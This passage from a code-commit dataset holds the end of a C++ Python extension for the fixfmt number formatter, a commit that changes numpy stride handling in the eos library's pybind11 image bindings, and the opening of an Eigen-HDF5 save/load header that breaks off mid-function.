&PyNumber::type_)->GetAttrString(\"SCALES\");\n if (Dict::Check(aliases)) {\n auto const alias = cast<Dict>(aliases)->GetItem(arg, false);\n if (alias != nullptr)\n arg = alias;\n }\n if (arg == Py_None) \n ; \/\/ accept default\n else if (!Sequence::Check(arg))\n throw ValueError(\"scale must be a two-item sequence\");\n else {\n Sequence* scale_seq = cast<Sequence>(arg);\n if (scale_seq->Length() != 2)\n throw ValueError(\"scale must be a two-item sequence\");\n scale.factor = scale_seq->GetItem(0)->double_value();\n if (!(scale.factor > 0))\n throw ValueError(\"invalid scale factor\");\n scale.suffix = scale_seq->GetItem(1)->Str()->as_utf8_string();\n }\n return scale;\n}\n\n\n\/\/ FIXME: Accept sign=None.\nstatic void\ntp_init(\n PyNumber* self, \n Tuple* args, \n Dict* kw_args)\n{\n static char const* arg_names[] = {\n \"size\", \"precision\", \"pad\", \"sign\", \"nan\", \"inf\", \"point\", \"bad\",\n \"scale\", nullptr\n };\n\n int size;\n Object* precision_arg = (Object*) Py_None;\n#if PY3K\n int pad = fixfmt::Number::PAD_SPACE;\n int sign = fixfmt::Number::SIGN_NEGATIVE;\n int point = '.';\n int bad = '#';\n#else\n char pad = fixfmt::Number::PAD_SPACE;\n char sign = fixfmt::Number::SIGN_NEGATIVE;\n char point = '.';\n char bad = '#';\n#endif\n char const* nan = \"NaN\";\n char const* inf = \"inf\";\n Object* scale_arg = (Object*) Py_None;\n Arg::ParseTupleAndKeywords(\n args, kw_args, \n#if PY3K\n \"i|O$CCetetCCO\",\n#else\n \"i|OccetetccO\",\n#endif\n arg_names,\n &size, &precision_arg, &pad, &sign, \"utf-8\", &nan, \"utf-8\", &inf, \n &point, &bad, &scale_arg);\n\n if (size < 0) \n throw ValueError(\"negative size\");\n auto const precision = get_precision(precision_arg);\n if ( sign != fixfmt::Number::SIGN_NONE\n && sign != fixfmt::Number::SIGN_NEGATIVE\n && sign != fixfmt::Number::SIGN_ALWAYS)\n throw ValueError(\"invalid sign\");\n if (! (pad == fixfmt::Number::PAD_SPACE || pad == fixfmt::Number::PAD_ZERO))\n throw ValueError(\"invalid pad\");\n\n auto const scale = get_scale(scale_arg);\n\n new(self) PyNumber;\n self->fmt_ = std::make_unique<fixfmt::Number>(\n fixfmt::Number::Args{\n size, precision, (char) pad, (char) sign, scale, (char) point,\n (char) bad, nan, inf});\n}\n\n\nref<Object> tp_call(PyNumber* self, Tuple* args, Dict* kw_args)\n{\n static char const* arg_names[] = {\"value\", nullptr};\n double val;\n \/\/ FIXME: Handle integer types separately.\n Arg::ParseTupleAndKeywords(args, kw_args, \"d\", arg_names, &val);\n\n return Unicode::from((*self->fmt_)(val));\n}\n\n\nauto methods = Methods<PyNumber>()\n;\n\n\nref<Object> get_bad(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().bad);\n}\n\n\nvoid set_bad(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const bad_str = val->Str();\n if (bad_str->Length() != 1)\n throw ValueError(\"invalid bad\");\n\n auto args = self->fmt_->get_args();\n \/\/ FIXME: Wrong for multibyte characters.\n args.bad = bad_str->as_utf8_string()[0];\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_inf(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().inf);\n}\n\n\nvoid set_inf(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.inf = val->Str()->as_utf8_string().c_str();\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_nan(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().nan);\n}\n\n\nvoid set_nan(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.nan = val->Str()->as_utf8_string().c_str();\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_pad(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().pad);\n}\n\n\nvoid set_pad(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const pad_str = val->Str();\n if (pad_str->Length() != 1)\n throw ValueError(\"invalid pad\");\n \/\/ FIXME: Wrong for multibyte characters.\n auto const pad = pad_str->as_utf8_string()[0];\n if ( pad != fixfmt::Number::PAD_SPACE\n && pad != fixfmt::Number::PAD_ZERO)\n throw ValueError(\"invalid pad\");\n\n auto args = self->fmt_->get_args();\n args.pad = pad;\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_point(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().point);\n}\n\n\nvoid set_point(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const point_str = val->Str();\n if (point_str->Length() != 1)\n throw ValueError(\"invalid point\");\n\n auto args = self->fmt_->get_args();\n \/\/ FIXME: Wrong for multibyte characters.\n args.point = point_str->as_utf8_string()[0];\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_precision(PyNumber* const self, void* \/* closure *\/)\n{\n int const precision = self->fmt_->get_args().precision;\n return \n precision == fixfmt::Number::PRECISION_NONE ? none_ref()\n : (ref<Object>) Long::FromLong(precision);\n}\n\n\nvoid set_precision(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.precision = get_precision(val);\n self->fmt_->set_args(args);\n}\n\n\nref<Object>\nget_scale(\n PyNumber* const self,\n void* \/* closure *\/)\n{\n auto const& scale = self->fmt_->get_args().scale;\n if (scale.enabled())\n return Tuple::builder \n << Float::from(scale.factor) \n << Unicode::from(scale.suffix);\n else\n return none_ref();\n}\n\n\nvoid set_scale(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto args = self->fmt_->get_args();\n args.scale = get_scale(val);\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_sign(PyNumber* const self, void* \/* closure *\/)\n{\n return Unicode::from(self->fmt_->get_args().sign);\n}\n\n\nvoid set_sign(PyNumber* const self, Object* const val, void* \/* closure *\/)\n{\n auto const sign_str = val->Str();\n if (sign_str->Length() != 1)\n throw ValueError(\"invalid sign\");\n auto const sign = sign_str->as_utf8_string()[0];\n if ( sign != fixfmt::Number::SIGN_NONE\n && sign != fixfmt::Number::SIGN_NEGATIVE\n && sign != fixfmt::Number::SIGN_ALWAYS)\n throw ValueError(\"invalid sign\");\n\n auto args = self->fmt_->get_args();\n args.sign = sign;\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_size(PyNumber* const self, void* \/* closure *\/)\n{\n return Long::FromLong(self->fmt_->get_args().size);\n}\n\n\nvoid set_size(PyNumber* const self, Object* val, void* \/* closure *\/)\n{\n auto const size = val->long_value();\n if (size < 0)\n throw ValueError(\"size out of range\");\n auto args = self->fmt_->get_args();\n args.size = size;\n self->fmt_->set_args(args);\n}\n\n\nref<Object> get_width(PyNumber* const self, void* \/* closure *\/)\n{\n return Long::FromLong(self->fmt_->get_width());\n}\n\n\nauto getsets = GetSets<PyNumber>()\n .add_getset<get_bad , set_bad >(\"bad\")\n .add_getset<get_inf , set_inf >(\"inf\")\n .add_getset<get_nan , set_nan >(\"nan\")\n .add_getset<get_pad , set_pad >(\"pad\")\n .add_getset<get_point , set_point >(\"point\")\n .add_getset<get_precision , set_precision >(\"precision\")\n .add_getset<get_scale , set_scale >(\"scale\")\n .add_getset<get_sign , set_sign >(\"sign\")\n .add_getset<get_size , set_size >(\"size\")\n .add_get<get_width> (\"width\")\n ;\n\n\n} \/\/ anonymous namespace\n\n\nType PyNumber::type_ = PyTypeObject{\n PyVarObject_HEAD_INIT(nullptr, 0)\n (char const*) \"fixfmt._ext.Number\", \/\/ tp_name\n (Py_ssize_t) sizeof(PyNumber), \/\/ tp_basicsize\n (Py_ssize_t) 0, \/\/ tp_itemsize\n (destructor) nullptr, \/\/ tp_dealloc\n (printfunc) nullptr, \/\/ tp_print\n (getattrfunc) nullptr, \/\/ tp_getattr\n (setattrfunc) nullptr, \/\/ tp_setattr\n#if PY3K\n (PyAsyncMethods*) nullptr, \/\/ tp_as_async\n#else\n (cmpfunc) nullptr, \/\/ tp_compare\n#endif\n (reprfunc) wrap<PyNumber, tp_repr>, \/\/ tp_repr\n (PyNumberMethods*) nullptr, \/\/ tp_as_number\n (PySequenceMethods*) nullptr, \/\/ tp_as_sequence\n (PyMappingMethods*) nullptr, \/\/ tp_as_mapping\n (hashfunc) nullptr, \/\/ tp_hash\n (ternaryfunc) wrap<PyNumber, tp_call>, \/\/ tp_call\n (reprfunc) nullptr, \/\/ tp_str\n (getattrofunc) nullptr, \/\/ tp_getattro\n (setattrofunc) nullptr, \/\/ tp_setattro\n (PyBufferProcs*) nullptr, \/\/ tp_as_buffer\n (unsigned long) Py_TPFLAGS_DEFAULT\n | Py_TPFLAGS_BASETYPE, \/\/ tp_flags\n (char const*) nullptr, \/\/ tp_doc\n (traverseproc) nullptr, \/\/ tp_traverse\n (inquiry) nullptr, \/\/ tp_clear\n (richcmpfunc) nullptr, \/\/ tp_richcompare\n (Py_ssize_t) 0, \/\/ tp_weaklistoffset\n (getiterfunc) nullptr, \/\/ tp_iter\n (iternextfunc) nullptr, \/\/ tp_iternext\n (PyMethodDef*) methods, \/\/ tp_methods\n (PyMemberDef*) nullptr, \/\/ tp_members\n (PyGetSetDef*) getsets, \/\/ tp_getset\n (_typeobject*) nullptr, \/\/ tp_base\n (PyObject*) nullptr, \/\/ tp_dict\n (descrgetfunc) nullptr, \/\/ tp_descr_get\n (descrsetfunc) nullptr, \/\/ tp_descr_set\n (Py_ssize_t) 0, \/\/ tp_dictoffset\n (initproc) wrap<PyNumber, tp_init>, \/\/ tp_init\n (allocfunc) nullptr, \/\/ tp_alloc\n (newfunc) PyType_GenericNew, \/\/ tp_new\n (freefunc) nullptr, \/\/ tp_free\n (inquiry) nullptr, \/\/ tp_is_gc\n (PyObject*) nullptr, \/\/ tp_bases\n (PyObject*) nullptr, \/\/ tp_mro\n (PyObject*) nullptr, \/\/ tp_cache\n (PyObject*) nullptr, \/\/ tp_subclasses\n (PyObject*) nullptr, \/\/ tp_weaklist\n (destructor) nullptr, \/\/ tp_del\n (unsigned int) 0, \/\/ tp_version_tag\n#if PY3K\n (destructor) nullptr, \/\/ tp_finalize\n#endif\n};\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * eos - A 3D Morphable Model fitting library written in modern C++11\/14.\n *\n * File: python\/pybind11_Image.hpp\n *\n * Copyright 2017 Patrik Huber\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#pragma once\n\n#ifndef EOS_PYBIND11_IMAGE_HPP_\n#define EOS_PYBIND11_IMAGE_HPP_\n\n#include \"pybind11\/numpy.h\"\n\n#include \"Eigen\/Core\"\n\n#include <cstddef>\n#include <vector>\n\nNAMESPACE_BEGIN(pybind11)\nNAMESPACE_BEGIN(detail)\n\n\/**\n * @file python\/pybind11_Image.hpp\n * @brief Transparent conversion to and from Python for eos::core::Image.\n *\n * Numpy uses row-major storage order by default.\n * eos::core::Image uses col-major storage (like Eigen).\n * \n * If given non-standard strides or something from numpy, probably doesn't work.\n * May need to .clone()? in numpy before passing to the C++ function.\n *\/\n\n\n\/**\n * @brief Transparent conversion for eos::core::Image3u to and from Python.\n *\n * Converts an eos::core::Image3u to and from Python. Can construct a eos::core::Image3u from numpy arrays,\n * as well as potentially other Python array types.\n *\n * Note: Not sure what happens if the given numpy array is not contiguous, not in default (row-major) storage\n * order, or has non-standard strides. It may or may not work.\n *\/\ntemplate<>\nstruct type_caster<eos::core::Image3u>\n{\n\tbool load(handle src, bool)\n\t{\n\t\tauto buf = pybind11::array::ensure(src);\n\t\tif (!buf)\n\t\t\treturn false;\n\n\t\t\/\/ Todo: We should probably check that buf.strides(i) is \"default\", by dividing it by the Scalar type or something.\n\n\t\tif (!pybind11::isinstance<pybind11::array_t<std::uint8_t>>(buf))\n\t\t{\n\t\t\treturn false; \/\/ we only convert uint8_t for now.\n\t\t}\n\n\t\tif (buf.ndim() != 3) {\n\t\t\treturn false; \/\/ we expected a numpy array with 3 dimensions.\n\t\t}\n\t\t\/\/ We got something with 3 dimensions, i.e. an image with 2, 3 or 4 channels (or 'k' for that matter):\n\t\tif (buf.shape(2) != 3) {\n\t\t\treturn false; \/\/ We expected a 3-channel image.\n\t\t}\n\t\t\n\t\t\/\/ Note: If our Image class had support for col\/row major, we could just map buf.mutable_data().\n\t\t\/\/ Like with OpenCV: value = cv::Mat(buf.shape(0), buf.shape(1), opencv_type, buf.mutable_data());\n\t\t\/\/ But since it doesn't, we just copy the data for now:\n\t\tvalue = eos::core::Image3u(buf.shape(0), buf.shape(1));\n\t\tarray_t<std::uint8_t> buf_as_array(buf);\n\t\tfor (int r = 0; r < buf.shape(0); ++r) {\n\t\t\tfor (int c = 0; c < buf.shape(1); ++c) {\n\t\t\t\tvalue(r, c)[0] = buf_as_array.at(r, c, 0);\n\t\t\t\tvalue(r, c)[1] = buf_as_array.at(r, c, 1);\n\t\t\t\tvalue(r, c)[2] = buf_as_array.at(r, c, 2);\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t};\n\n static handle cast(const eos::core::Image3u& src, return_value_policy \/* policy *\/, handle \/* parent *\/)\n\t{\n\t\tconst std::size_t num_channels = 3;\n\t\tstd::vector<std::size_t> shape = { static_cast<std::size_t>(src.height()), static_cast<std::size_t>(src.width()), num_channels };\n\n\t\t\/\/ (2048, 4, 1) is default which results in transposed image\n\t\t\/\/ Below line works now. In numpy the strides are (2048, 4, 1) though. I think a copy gets created nevertheless?\n\t\tstd::vector<std::size_t> strides = { num_channels, num_channels * src.height(), 1 }; \/\/ might be cols or rows...? I think rows?\n\t\t\/\/ Note: I think with the change to the new Image class (July 2018), which is now row-major by default, the strides here might have changed. I didn't check.\n\t\t\/\/ Also, since the new Image stores a vector of Pixels, the question is whether there's any padding added by the compiler, but probably not, since all types that we use are 1 byte or a multiple thereof.\n\t\t\/\/ numpy: 'f' = fortran = col-major\n\t\t\/\/ 'c' = c = row-major = default I think.\n\t\treturn array(pybind11::dtype::of<std::uint8_t>(), shape, strides, &src(0, 0).data()[0]).release();\n\t};\n\n PYBIND11_TYPE_CASTER(eos::core::Image3u, _(\"numpy.ndarray[uint8[m, n, 3]]\"));\n};\n\n\/**\n * @brief Transparent conversion for eos::core::Image4u to and from Python.\n *\n * Converts an eos::core::Image4u to and from Python. Can construct a eos::core::Image4u from numpy arrays,\n * as well as potentially other Python array types.\n *\n * Note: Not sure what happens if the given numpy array is not contiguous, not in default (row-major) storage\n * order, or has non-standard strides. It may or may not work.\n *\/\ntemplate<>\nstruct type_caster<eos::core::Image4u>\n{\n\tbool load(handle src, bool)\n\t{\n\t\tauto buf = pybind11::array::ensure(src);\n\t\tif (!buf)\n\t\t\treturn false;\n\n\t\t\/\/ Todo: We should probably check that buf.strides(i) is \"default\", by dividing it by the Scalar type or something.\n\n\t\tif (!pybind11::isinstance<pybind11::array_t<std::uint8_t>>(buf))\n\t\t{\n\t\t\treturn false; \/\/ we only convert uint8_t for now.\n\t\t}\n\n\t\tif (buf.ndim() != 3) {\n\t\t\treturn false; \/\/ we expected a numpy array with 3 dimensions.\n\t\t}\n\t\t\/\/ We got something with 3 dimensions, i.e. an image with 2, 3 or 4 channels (or 'k' for that matter):\n\t\tif (buf.shape(2) != 4) {\n\t\t\treturn false; \/\/ We expected a 4-channel image.\n\t\t}\n\n\t\t\/\/ Note: If our Image class had support for col\/row major, we could just map buf.mutable_data().\n\t\t\/\/ Like with OpenCV: value = cv::Mat(buf.shape(0), buf.shape(1), opencv_type, buf.mutable_data());\n\t\t\/\/ But since it doesn't, we just copy the data for now:\n\t\tvalue = eos::core::Image4u(buf.shape(0), buf.shape(1));\n\t\tarray_t<std::uint8_t> buf_as_array(buf);\n\t\tfor (int r = 0; r < buf.shape(0); ++r) {\n\t\t\tfor (int c = 0; c < buf.shape(1); ++c) {\n\t\t\t\tvalue(r, c)[0] = buf_as_array.at(r, c, 0);\n\t\t\t\tvalue(r, c)[1] = buf_as_array.at(r, c, 1);\n\t\t\t\tvalue(r, c)[2] = buf_as_array.at(r, c, 2);\n\t\t\t\tvalue(r, c)[3] = buf_as_array.at(r, c, 3);\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t};\n\n static handle cast(const eos::core::Image4u& src, return_value_policy \/* policy *\/, handle \/* parent *\/)\n\t{\n\t\tconst std::size_t num_channels = 4;\n\t\tstd::vector<std::size_t> shape;\n\t\tshape = { static_cast<std::size_t>(src.height()), static_cast<std::size_t>(src.width()), num_channels };\n\n\t\t\/\/ (2048, 4, 1) is default which results in transposed image\n\t\t\/\/ Below line works now. In numpy the strides are (2048, 4, 1) though. I think a copy gets created nevertheless?\n\t\tstd::vector<size_t> strides = { num_channels, num_channels * src.height(), 1 }; \/\/ might be cols or rows...? I think rows?\n\t\t\/\/ Note: I think with the change to the new Image class (July 2018), which is now row-major by default, the strides here might have changed. I didn't check.\n\t\t\/\/ Also, since the new Image stores a vector of Pixels, the question is whether there's any padding added by the compiler, but probably not, since all types that we use are 1 byte or a multiple thereof.\n\t\treturn array(pybind11::dtype::of<std::uint8_t>(), shape, strides, &src(0, 0).data()[0]).release();\n\t};\n\n PYBIND11_TYPE_CASTER(eos::core::Image4u, _(\"numpy.ndarray[uint8[m, n, 4]]\"));\n};\n\nNAMESPACE_END(detail)\nNAMESPACE_END(pybind11)\n\n#endif \/* EOS_PYBIND11_IMAGE_HPP_ *\/\n<commit_msg>Changed strides in Image python bindings to account for row-major Image class<commit_after>\/*\n * eos - A 3D Morphable Model fitting library written in modern C++11\/14.\n *\n * File: python\/pybind11_Image.hpp\n *\n * Copyright 2017 Patrik Huber\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#pragma once\n\n#ifndef EOS_PYBIND11_IMAGE_HPP_\n#define EOS_PYBIND11_IMAGE_HPP_\n\n#include \"pybind11\/numpy.h\"\n\n#include \"Eigen\/Core\"\n\n#include <cstddef>\n#include <vector>\n\nNAMESPACE_BEGIN(pybind11)\nNAMESPACE_BEGIN(detail)\n\n\/**\n * @file python\/pybind11_Image.hpp\n * @brief Transparent conversion to and from Python for eos::core::Image.\n *\n * Numpy uses row-major storage order by default.\n * eos::core::Image uses col-major storage (like Eigen).\n * \n * If given non-standard strides or something from numpy, probably doesn't work.\n * May need to .clone()? in numpy before passing to the C++ function.\n *\/\n\n\n\/**\n * @brief Transparent conversion for eos::core::Image3u to and from Python.\n *\n * Converts an eos::core::Image3u to and from Python. Can construct a eos::core::Image3u from numpy arrays,\n * as well as potentially other Python array types.\n *\n * Note: Not sure what happens if the given numpy array is not contiguous, not in default (row-major) storage\n * order, or has non-standard strides. It may or may not work.\n *\/\ntemplate<>\nstruct type_caster<eos::core::Image3u>\n{\n\tbool load(handle src, bool)\n\t{\n\t\tauto buf = pybind11::array::ensure(src);\n\t\tif (!buf)\n\t\t\treturn false;\n\n\t\t\/\/ Todo: We should probably check that buf.strides(i) is \"default\", by dividing it by the Scalar type or something.\n\n\t\tif (!pybind11::isinstance<pybind11::array_t<std::uint8_t>>(buf))\n\t\t{\n\t\t\treturn false; \/\/ we only convert uint8_t for now.\n\t\t}\n\n\t\tif (buf.ndim() != 3) {\n\t\t\treturn false; \/\/ we expected a numpy array with 3 dimensions.\n\t\t}\n\t\t\/\/ We got something with 3 dimensions, i.e. an image with 2, 3 or 4 channels (or 'k' for that matter):\n\t\tif (buf.shape(2) != 3) {\n\t\t\treturn false; \/\/ We expected a 3-channel image.\n\t\t}\n\t\t\n\t\t\/\/ Note: If our Image class had support for col\/row major, we could just map buf.mutable_data().\n\t\t\/\/ Like with OpenCV: value = cv::Mat(buf.shape(0), buf.shape(1), opencv_type, buf.mutable_data());\n\t\t\/\/ But since it doesn't, we just copy the data for now:\n\t\tvalue = eos::core::Image3u(buf.shape(0), buf.shape(1));\n\t\tarray_t<std::uint8_t> buf_as_array(buf);\n\t\tfor (int r = 0; r < buf.shape(0); ++r) {\n\t\t\tfor (int c = 0; c < buf.shape(1); ++c) {\n\t\t\t\tvalue(r, c)[0] = buf_as_array.at(r, c, 0);\n\t\t\t\tvalue(r, c)[1] = buf_as_array.at(r, c, 1);\n\t\t\t\tvalue(r, c)[2] = buf_as_array.at(r, c, 2);\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t};\n\n static handle cast(const eos::core::Image3u& src, return_value_policy \/* policy *\/, handle \/* parent *\/)\n\t{\n\t\tconst std::size_t num_channels = 3;\n\t\tstd::vector<std::size_t> shape = { static_cast<std::size_t>(src.height()), static_cast<std::size_t>(src.width()), num_channels };\n\n\t\t\/\/ (2048, 4, 1) is default which results in transposed image\n\t\t\/\/ Below line works now. In numpy the strides are (2048, 4, 1) though. I think a copy gets created nevertheless?\n\t\t\/\/std::vector<std::size_t> strides = { num_channels, num_channels * src.height(), 1 }; \/\/ might be cols or rows...? I think rows?\n\t\tstd::vector<std::size_t> strides = { num_channels * src.width(), num_channels, 1 }; \/\/ This seems to work with the row-major Image class. I just returned the same strides as the ones we got from NumPy.\n\t\t\/\/ Note: I think with the change to the new Image class (July 2018), which is now row-major by default, the strides here might have changed. I didn't check.\n\t\t\/\/ Also, since the new Image stores a vector of Pixels, the question is whether there's any padding added by the compiler, but probably not, since all types that we use are 1 byte or a multiple thereof.\n\t\t\/\/ numpy: 'f' = fortran = col-major\n\t\t\/\/ 'c' = c = row-major = default I think.\n\t\treturn array(pybind11::dtype::of<std::uint8_t>(), shape, strides, &src(0, 0).data()[0]).release();\n\t};\n\n PYBIND11_TYPE_CASTER(eos::core::Image3u, _(\"numpy.ndarray[uint8[m, n, 3]]\"));\n};\n\n\/**\n * @brief Transparent conversion for eos::core::Image4u to and from Python.\n *\n * Converts an eos::core::Image4u to and from Python. Can construct a eos::core::Image4u from numpy arrays,\n * as well as potentially other Python array types.\n *\n * Note: Not sure what happens if the given numpy array is not contiguous, not in default (row-major) storage\n * order, or has non-standard strides. It may or may not work.\n *\/\ntemplate<>\nstruct type_caster<eos::core::Image4u>\n{\n\tbool load(handle src, bool)\n\t{\n\t\tauto buf = pybind11::array::ensure(src);\n\t\tif (!buf)\n\t\t\treturn false;\n\n\t\t\/\/ Todo: We should probably check that buf.strides(i) is \"default\", by dividing it by the Scalar type or something.\n\n\t\tif (!pybind11::isinstance<pybind11::array_t<std::uint8_t>>(buf))\n\t\t{\n\t\t\treturn false; \/\/ we only convert uint8_t for now.\n\t\t}\n\n\t\tif (buf.ndim() != 3) {\n\t\t\treturn false; \/\/ we expected a numpy array with 3 dimensions.\n\t\t}\n\t\t\/\/ We got something with 3 dimensions, i.e. an image with 2, 3 or 4 channels (or 'k' for that matter):\n\t\tif (buf.shape(2) != 4) {\n\t\t\treturn false; \/\/ We expected a 4-channel image.\n\t\t}\n\n\t\t\/\/ Note: If our Image class had support for col\/row major, we could just map buf.mutable_data().\n\t\t\/\/ Like with OpenCV: value = cv::Mat(buf.shape(0), buf.shape(1), opencv_type, buf.mutable_data());\n\t\t\/\/ But since it doesn't, we just copy the data for now:\n\t\tvalue = eos::core::Image4u(buf.shape(0), buf.shape(1));\n\t\tarray_t<std::uint8_t> buf_as_array(buf);\n\t\tfor (int r = 0; r < buf.shape(0); ++r) {\n\t\t\tfor (int c = 0; c < buf.shape(1); ++c) {\n\t\t\t\tvalue(r, c)[0] = buf_as_array.at(r, c, 0);\n\t\t\t\tvalue(r, c)[1] = buf_as_array.at(r, c, 1);\n\t\t\t\tvalue(r, c)[2] = buf_as_array.at(r, c, 2);\n\t\t\t\tvalue(r, c)[3] = buf_as_array.at(r, c, 3);\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t};\n\n static handle cast(const eos::core::Image4u& src, return_value_policy \/* policy *\/, handle \/* parent *\/)\n\t{\n\t\tconst std::size_t num_channels = 4;\n\t\tstd::vector<std::size_t> shape;\n\t\tshape = { static_cast<std::size_t>(src.height()), static_cast<std::size_t>(src.width()), num_channels };\n\n\t\t\/\/ (2048, 4, 1) is default which results in transposed image\n\t\t\/\/ Below line works now. In numpy the strides are (2048, 4, 1) though. I think a copy gets created nevertheless?\n\t\tstd::vector<size_t> strides = { num_channels * src.width(), num_channels, 1 }; \/\/ might be cols or rows...? I think rows?\n\t\t\/\/ Note: I think with the change to the new Image class (July 2018), which is now row-major by default, the strides here might have changed. I didn't check.\n\t\t\/\/ Also, since the new Image stores a vector of Pixels, the question is whether there's any padding added by the compiler, but probably not, since all types that we use are 1 byte or a multiple thereof.\n\t\treturn array(pybind11::dtype::of<std::uint8_t>(), shape, strides, &src(0, 0).data()[0]).release();\n\t};\n\n PYBIND11_TYPE_CASTER(eos::core::Image4u, _(\"numpy.ndarray[uint8[m, n, 4]]\"));\n};\n\nNAMESPACE_END(detail)\nNAMESPACE_END(pybind11)\n\n#endif \/* EOS_PYBIND11_IMAGE_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef _EIGEN3_HDF5_HPP\n#define _EIGEN3_HDF5_HPP\n\n#include <array>\n#include <cassert>\n#include <complex>\n#include <cstddef>\n#include <stdexcept>\n#include <string>\n#include <vector>\n\n\/\/#include <hdf5.h>\n#include <H5Cpp.h>\n#include <Eigen\/Dense>\n\nnamespace EigenHDF5\n{\n\ntemplate <typename T>\nstruct DatatypeSpecialization;\n\n\/\/ floating-point types\n\ntemplate <>\nstruct DatatypeSpecialization<float>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_FLOAT;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<double>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_DOUBLE;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<long double>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_LDOUBLE;\n }\n};\n\n\/\/ integer types\n\ntemplate <>\nstruct DatatypeSpecialization<int>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_INT;\n }\n};\n\ntemplate <>\nstruct DatatypeSpecialization<unsigned int>\n{\n static inline const H5::DataType * get (void)\n {\n return &H5::PredType::NATIVE_UINT;\n }\n};\n\n\/\/ complex types\n\/\/\n\/\/ inspired by http:\/\/www.mail-archive.com\/hdf-forum@hdfgroup.org\/msg00759.html\n\ntemplate <typename T>\nclass ComplexH5Type : public H5::CompType\n{\npublic:\n ComplexH5Type (void)\n : CompType(sizeof(std::complex<T>))\n {\n const H5::DataType * const datatype = DatatypeSpecialization<T>::get();\n assert(datatype->getSize() == sizeof(T));\n \/\/ If we call the members \"r\" and \"i\", h5py interprets the\n \/\/ structure correctly as complex numbers.\n this->insertMember(std::string(\"r\"), 0, *datatype);\n this->insertMember(std::string(\"i\"), sizeof(T), *datatype);\n this->pack();\n }\n\n static const ComplexH5Type<T> * get_singleton (void)\n {\n \/\/ NOTE: constructing this could be a race condition\n static ComplexH5Type<T> singleton;\n return &singleton;\n }\n};\n\ntemplate <typename T>\nstruct DatatypeSpecialization<std::complex<T> >\n{\n static inline const H5::DataType * get (void)\n {\n return ComplexH5Type<T>::get_singleton();\n }\n};\n\n\/\/ see http:\/\/eigen.tuxfamily.org\/dox\/TopicFunctionTakingEigenTypes.html\n\ntemplate <typename Derived>\nvoid save (H5::CommonFG &h5group, const std::string &name, const Eigen::EigenBase<Derived> &mat, const H5::DSetCreatPropList &plist=H5::DSetCreatPropList::DEFAULT)\n{\n typedef typename Derived::Scalar Scalar;\n const Eigen::Matrix<Scalar, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> row_major_mat(mat);\n const std::array<hsize_t, 2> dimensions = { {\n static_cast<hsize_t>(mat.rows()),\n static_cast<hsize_t>(mat.cols())\n } };\n const H5::DataSpace dataspace(dimensions.size(), dimensions.data());\n const H5::DataType * const datatype = DatatypeSpecialization<Scalar>::get();\n H5::DataSet dataset = h5group.createDataSet(name, *datatype, dataspace, plist);\n dataset.write(row_major_mat.data(), *datatype);\n}\n\ntemplate <typename Derived>\nvoid load (const H5::CommonFG &h5group, const std::string &name, const Eigen::DenseBase<Derived> &mat)\n{\n typedef typename Derived::Scalar Scalar;\n const H5::DataSet dataset = h5group.openDataSet(name);\n const H5::DataSpace dataspace = dataset.getSpace();\n const std::size_t ndims = dataspace.getSimpleExtentNdims();\n assert(ndims > 0);\n std::array<hsize_t, 2> dimensions;\n dimensions[1] = 1; \/\/ in case it's 1D\n if (ndims > dimensions.size()) {\n throw std::runtime_error(\"HDF5 array has too many dimensions.\");\n }\n dataspace.getSimpleExtentDims(dimensions.data());\n const hsize_t rows = dimensions[0], cols = dimensions[1];\n std::vector<Scalar> data(rows * cols);\n const H5::DataType * const datatype = DatatypeSpecialization<Scalar>::get();\n dataset.read(data.data(), *datatype, dataspace);\n \/\/ see http:\/\/eigen.tuxfamily.org\/dox\/TopicFunctionTakingEigenTypes.html\n Eigen::DenseBase<Derived> &mat_ = 